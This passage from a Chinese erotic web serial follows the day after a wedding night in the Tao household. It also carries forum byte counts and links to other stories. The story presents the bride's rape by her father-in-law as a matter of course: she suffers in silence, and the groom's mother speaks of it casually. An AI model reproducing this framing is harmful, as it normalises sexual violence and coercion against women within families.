  秀秀没有去吃早饭。她过阴一样昏昏沉沉地在屋内躺着。中途去了一趟茅房。她走路都有些不方便了,撒尿时那里面因肿胀而火辣辣地疼痛。

  中午吃饭时,婆母来叫她时,她却跟随去吃了一点。她暗暗强迫自己:既然不想死,那就得活下去。那一夜已挨过去,那就想今后的活路吧!或许天下遭这种罪的女人也不光自己呢。

  九月初九那夜,陶家大院里的荒谬和淫耻真是绝伦:新娘被公爹破了处汝身;而新郎又被嫂子破了处男身。

  陶天赐在屋子里迷迷糊糊地躺了一整天。谁叫他吃饭他都不去。天黑后,二嫂子兰端来一碗荷包蛋的面条,他却吃下去了。他只顾低头吃面却不敢面对子兰的目光。他回味着昨夜事情,懊恼已经很淡了。快慰和甜蜜悄悄爬来,不觉抬眼看了子兰。四目相对更多了一份躁动和亲密。子兰凑到他耳边轻轻说:「昨晚累着你了吧!看你今晚还咋入洞房?」天赐低头不语。她却咯咯轻笑着。

  「你说今晚我还入洞房吗?」天赐迷茫地问。

  「我哪里知道啊,你自己的事情今晚的洞房才是你的,不入可以吗?」子兰语气模糊,心里泛酸。

  天赐还想多说什么,娘却走进来。子兰便打了招呼端着空碗出去。天赐看见她的脖颈都在羞红。

  娘来到近前,见他吃了东西心里宽慰了许多。慈爱地端详了他一阵子,便嘱咐他今晚入洞房的事儿。

  「今晚是你的洞房。你媳妇昨晚被你爹破得不轻,肯定是不得劲,你要悠着点来。完事以后千万不要去喝凉水」娘交代了很多,但他根本懒得去听。但洞房他注定要去入的啊!

????本楼字节数:48358

????【未完待续】

????总字节数:174432

上一篇[玄幻奇幻]地中海情仇下一篇[青春校园] 身材智慧双绝的淫荡女孩